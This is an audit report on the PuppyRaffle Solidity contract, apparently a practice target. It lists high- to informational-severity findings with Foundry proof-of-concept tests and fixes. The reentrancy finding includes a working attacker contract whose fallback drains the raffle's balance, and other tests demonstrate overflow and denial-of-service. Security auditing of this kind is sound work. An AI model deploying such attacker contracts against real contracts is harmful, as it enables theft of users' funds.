PuppyRaffle Audit Report

Version 1.0

37H3RN17Y2

October 2, 2024

PuppyRaffle Audit Report

37H3RN17Y2

October 2, 2024

Prepared by: [37H3RN17Y2] (https://github.com/37H3RN17Y2) Lead Security Researcher: - 37H3RN17Y2

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:

    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The 37H3RN17Y2 team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond to the following commit hash:

```
22bbbb2c47f3f2b78c1b134590baf41383fd354f
```

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

I loved auditing this codebase. Patrick is such a wizard at writing intentionally bad code.

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Gas	2
Info	7
Total	16

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after that external call do we update the `PuppyRaffle::players` array.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

@>      payable(msg.sender).sendValue(entranceFee);
@>      players[playerIndex] = address(0);

        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a `fallback/receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All entranceFee paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle:refund`
3. Attacker enters the raffle (from their attack contract)
4. Attacker calls `PuppyRaffle:refund` from their attack contract, draining the contract balance

Proof of Code

Code

Plce the following into `PuppyRaffleTest.t.sol`

```
function test_reentrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle);
        address attackerUser = makeAddr("attackUser");
        vm.deal(attackerUser, 1 ether);

        uint256 startingAttackContractBalance = address(
            attackerContract).balance;
```

```
14          uint256 startingContractBalance = address(puppyRaffle).balance;
15
16          // attack
17          vm.prank(attackerUser);
18          attackerContract.attack{value: entranceFee}();
19
20          console.log("starting attacker contract balance: ",
                startingAttackContractBalance);
21          console.log("starting contract balance: ",
                startingContractBalance);
22          console.log("ending attacker contract balance: ", address(
                attackerContract).balance);
23          console.log("ending contract balance: ", address(puppyRaffle).
                balance);
24          assert (address(puppyRaffle).balance < entranceFee);
25      }
```

And this contract as well.

```
1  contract ReentrancyAttacker {
2      PuppyRaffle puppyRaffle;
3      uint256 entranceFee;
4      uint256 attackerIndex;
5
6      constructor(PuppyRaffle _puppyRaffle) {
7          puppyRaffle = _puppyRaffle;
8          entranceFee = puppyRaffle.entranceFee();
9      }
10
11     function attack() external payable {
12         address[] memory players = new address[](1);
13         players[0] = address(this);
14         puppyRaffle.enterRaffle{value: entranceFee}(players);
15
16         attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
               ;
17         puppyRaffle.refund(attackerIndex);
18     }
19
20     function _stealMoney() internal {
21         if (address(puppyRaffle).balance >= entranceFee){
22             puppyRaffle.refund(attackerIndex);
23         }
24     }
25
26     fallback() external payable {
27         _stealMoney();
28     }
29
30     receive() external payable {
31         _stealMoney();
```

```
32      }
33  }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle:refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
1  function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
4          require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
5  -       payable(msg.sender).sendValue(entranceFee);
6          players[playerIndex] = address(0);
7          emit RaffleRefunded(playerAddress);
8  +       payable(msg.sender).sendValue(entranceFee);
9      }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as chainlink VRF, or use commit-reveal schemes.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
uint64 public myVar = type(uint64).max
// 18446744073709551615
myVar = myVar + 1
// myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the fee address to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. We conclude a raffle of 4 players 2. We then have 89 players enter a raffle, and conclude the raffle 3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
totalFees = 0.8 ether + 17.8 ether = 18.6 ether
// and this will overflow
totalFees = 153255926290448385
```

4. you will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

There will be too much `balance` in the contract that the above `require` will be impossible to hit.

Code

```
function test_totalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 players to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();

        // We then have 89 players enter the raffle (to overflow the
            totalFees)
        uint256 playersNum = 89;
```

```
10          address[] memory players = new address[](playersNum);
11          for (uint256 i = 0; i < playersNum; i++){
12              players[i] = address(i);
13              // includes address(0)
14          }
15          puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
                players);
16
17          // End the 2nd round of raffle
18          vm.warp(block.timestamp + duration + 1);
19          vm.roll(block.number + 1);
20          puppyRaffle.selectWinner();
21          uint256 endingTotalFees = puppyRaffle.totalFees();
22
23          // totalFees after 2nd round will be lesser than after 1st
                round
24          // due to arithmetic overflow of uint64 totalFees
25          console.log("starting total fees: ", startingTotalFees);
26          console.log("ending total fees: ", endingTotalFees);
27          assert(startingTotalFees > endingTotalFees);
28
29          // Also unable to withdraw any fees because of the require
                check
30          // require(address(this).balance == uint256(totalFees), "
                PuppyRaffle: There are currently players active!");
31          vm.expectRevert("PuppyRaffle: There are currently players
                active!");
32          puppyRaffle.withdrawFees();
33      }
```

Recommended Mitigation: There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`
2. You could also use the `SafeMath` library of OpenZeppelin for version 0.7.6 of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
      There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless. (must implement another withdrawal check, else someone calls withdrawFees while raffle is still running, preventing players from doing a full refund)

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make. (Technically also a front running issue)

```
// @audit DoS Attack
@>      for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::players` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~6252048 gas - 2nd 100 players: ~18068138

This is >3x more expensive for the second 100 players.

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
    function test_denialOfService() public {
        vm.txGasPrice(1);

        // Lets enter 100 players
        uint256 playersNum = 100;
        address[]memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++){
            players[i] = address(i);
            // includes address 0
        }
        // see how much gas it costs
```

```
12          uint256 gasStart = gasleft();
13          puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
                players);
14          uint256 gasEnd = gasleft();
15          uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
16          console.log("Gas cost of the first 100 players: ", gasUsedFirst
                );
17
18          // now for the 2nd 100 players
19          address[]memory playersTwo = new address[](playersNum);
20          for (uint256 i = 0; i < playersNum; i++){
21              playersTwo[i] = address(i + playersNum);
22          }
23          // see how much gas it costs
24          uint256 gasStartSecond = gasleft();
25          puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
                playersTwo);
26          uint256 gasEndSecond = gasleft();
27          uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
                gasprice;
28          console.log("Gas cost of the second 100 players: ",
                gasUsedSecond);
29
30          assert (gasUsedFirst < gasUsedSecond);
31      }
```

Recommended Mitigation: There are a few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered, rather than linear time. You could have each raffle have a `uint256` id, and the mapping would be a player address mapped to the raffle Id.

```
1  +    mapping(address => uint256) public addressToRaffleId;
2  +    uint256 public raffleId = 0;
3      .
4      .
5      .
6      function enterRaffle(address[] memory newPlayers) public payable {
7          require(msg.value == entranceFee * newPlayers.length, "
               PuppyRaffle: Must send enough to enter raffle");
8          for (uint256 i = 0; i < newPlayers.length; i++) {
9              players.push(newPlayers[i]);
10 +            // Check for duplicates only from the new players
11 +            require(addressToRaffleId[newPlayers[i]] != raffleId, "
       PuppyRaffle: Duplicate player");
12 +            addressToRaffleId[newPlayers[i]] = raffleId;
```

```
13          }
14
15  -        // Check for duplicates
16  -        for (uint256 i = 0; i < players.length; i++) {
17  -            for (uint256 j = i + 1; j < players.length; j++) {
18  -                require(players[i] != players[j], "PuppyRaffle:
        Duplicate player");
19  -            }
20  -        }
21          emit RaffleEnter(newPlayers);
22      }
23  .
24  .
25  .
26      function selectWinner() external {
27  +       raffleId = raffleId + 1;
28          require(block.timestamp >= raffleStartTime + raffleDuration, "
                PuppyRaffle: Raffle not over");
```

Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` there is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
1  function selectWinner() external {
2          require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
3          require(players.length >= 4, "PuppyRaffle: Need at least 4
               players");
4          uint256 winnerIndex =
5              uint256(keccak256(abi.encodePacked(msg.sender, block.
                   timestamp, block.difficulty))) % players.length;
6          address winner = players[winnerIndex];
7          uint256 totalAmountCollected = players.length * entranceFee;
8          uint256 prizePool = (totalAmountCollected * 80) / 100;
9          uint256 fee = (totalAmountCollected * 20) / 100;
10 @>       totalFees = totalFees + uint64(fee);
11         uint256 tokenId = totalSupply();
12         uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender,
               block.difficulty))) % 100;
13         if (rarity <= COMMON_RARITY) {
14             tokenIdToRarity[tokenId] = COMMON_RARITY;
15         } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
16             tokenIdToRarity[tokenId] = RARE_RARITY;
17         } else {
18             tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
```

```
19          }
20          delete players;
21          raffleStartTime = block.timestamp;
22          previousWinner = winner;
23          (bool success,) = winner.call{value: prizePool}("");
24          require(success, "PuppyRaffle: Failed to send prize pool to
               winner");
25          _safeMint(winner, tokenId);
26      }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~`18.4` ETH. Meaning if more than 18 ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. A raffle proceeds with a little more than 18 ETH worth of fees collected 2. The line that casts the `fee` as a `uint64` hits 3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

**Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting

```
-   uint64 public totalFees = 0
+   uint256 public totalFees = 0
.
.
.
-    totalFees = totalFees + uint64(fee);
+    totalFees = totalFees + fee;
```

[M-3] Smart contract wallet raffle winners without a `receive` or a `fallback` function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again (wasting unnecessary gas) and non-wallet entrants could enter, but it could cost a lot due to the duplicate check (should be removed in M-1) and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function would revert many times, making a lottery reset difficult (and wasting gas), severely disrupting the intended functionality of the contract.

Also, true winners would not get paid out and someone else could take their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over! (lottery can only then be reset if a non-contract player enters and wins (1/11 chance))

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended since multisig wallets should be able to participate)
2. Create a mapping of winner addresses -> payout amount so winners can pull their funds out themselves with a new `claimPrize` function, putting the onus on the winner to claim their prize (pull over push design best practice). (Recommended)

Low

[L-1] `PuppyRaffle:getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
1 function getActivePlayerIndex(address player) external view returns (
    uint256) {
2         for (uint256 i = 0; i < players.length; i++) {
3             if (players[i] == player) {
4                 return i;
5             }
6         }
7         return 0;
8     }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas (and ETH).

Proof of Concept:

1. User enters the raffle, they are the first entrant

2. `PuppyRaffle::getActivePlayer` returns 0
3. User thinks they have not entered correctly due to the function documentation

Recommended Mitigation: The easiest recommendation would be to revert (with custom error) if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant` - `PuppyRaffle::raffleDuration` should be `immutable`

[G-2] Storage variables in a loop should be cached

Everytime you call `players.length` or `newPlayers.length` you read from storage, as opposed to memory which is more gas efficient.

```
+        uint256 newPlayersLength = newPlayers.length
+        for (uint256 i = 0; i < newPlayersLength; i++) {
-        for (uint256 i = 0; i < newPlayers.length; i++) {
```

```
+        uint256 playersLength = players.length
+        for (uint256 i = 0; i < playersLength; i++) {
-        for (uint256 i = 0; i < players.length; i++) {
```

Informational/Non-Crits

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
1 pragma solidity ^0.7.6;
```

[I-2] Using an outdated of Solidity is not recommended.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation:

Deploy with a recent version of Solidity (at least `0.8.0`) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see Slither documentation for more information.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 62

```
1         feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 180

```
1         feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
1 -       (bool success,) = winner.call{value: prizePool}("");
2 -       require(success, "PuppyRaffle: Failed to send prize pool to
  winner");
3         _safeMint(winner, tokenId);
4 +       (bool success,) = winner.call{value: prizePool}("");
5 +       require(success, "PuppyRaffle: Failed to send prize pool to
  winner");
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it is much more readable if the numbers are given a name.

Examples:

```
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;
```

[I-6] State changes are missing events

It is best practice to emit events whenever state changes are made.

```
+   event PuppyRaffle__FeesWithdrawn(address feeAddress);
+   event PuppyRaffle__WinnerSelected(address winner, uint256 prizePool
    , uint256 tokenId);
.
.
.
    _safeMint(winner, tokenId);
+   emit PuppyRaffle__WinnerSelected(winner, prizePool, tokenId);
.
.
.
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
+       emit PuppyRaffle__FeesWithdrawn(feeAddress);
```

[I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed

The internal function `PuppyRaffle::_isActivePlayer` is never used throughout the contract and should be removed to save gas during contract deployment.